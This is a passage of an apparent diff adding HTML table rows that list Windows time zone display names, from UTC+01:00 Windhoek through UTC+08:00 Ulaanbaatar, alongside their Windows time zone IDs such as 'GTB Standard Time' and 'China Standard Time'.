+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Brussels, Copenhagen, Madrid, Paris<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Romance Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Sarajevo, Skopje, Warsaw, Zagreb<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central European Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) West Central Africa<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Central Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+01:00) Windhoek<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Namibia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Amman<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Jordan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Athens, Bucharest, Istanbul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>GTB Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Beirut<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Middle East Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Cairo<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Egypt Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Damascus<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Syria Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Harare, Pretoria<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>South Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>FLE Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Jerusalem<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Israel Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+02:00) Minsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Europe Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Baghdad<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabic Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Kuwait, Riyadh<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arab Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Moscow, St. Petersburg, Volgograd<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Russian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:00) Nairobi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>E. Africa Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+03:30) Tehran<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Iran Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Abu Dhabi, Muscat<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Arabian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Baku<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Azerbaijan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Port Louis<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Mauritius Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Tbilisi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Georgian Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:00) Yerevan<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Caucasus Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+04:30) Kabul<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Afghanistan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Ekaterinburg<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Ekaterinburg Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Islamabad, Karachi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Pakistan Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:00) Tashkent<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>West Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>India Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:30) Sri Jayawardenepura<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Sri Lanka Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+05:45) Kathmandu<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Nepal Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Astana<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Central Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Dhaka<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Bangladesh Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:00) Novosibirsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>N. Central Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+06:30) Yangon (Rangoon)<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Myanmar Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Bangkok, Hanoi, Jakarta<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>SE Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+07:00) Krasnoyarsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>China Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Irkutsk<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>North Asia East Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Kuala Lumpur, Singapore<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Singapore Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Perth<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>W. Australia Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Taipei<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8"><FONT size=3 face=Calibri>Taipei Standard Time</FONT></TD></TR>
+<TR style="HEIGHT: 15pt" height=20>
+<TD style="BORDER-BOTTOM: #d4d0c8; BORDER-LEFT: #d4d0c8; BACKGROUND-COLOR: transparent; HEIGHT: 15pt; BORDER-TOP: #d4d0c8; BORDER-RIGHT: #d4d0c8" height=20><FONT size=3><FONT face=Calibri>(UTC+08:00) Ulaanbaatar<SPAN style="mso-spacerun: yes">&nbsp;</SPAN></FONT></FONT></TD>
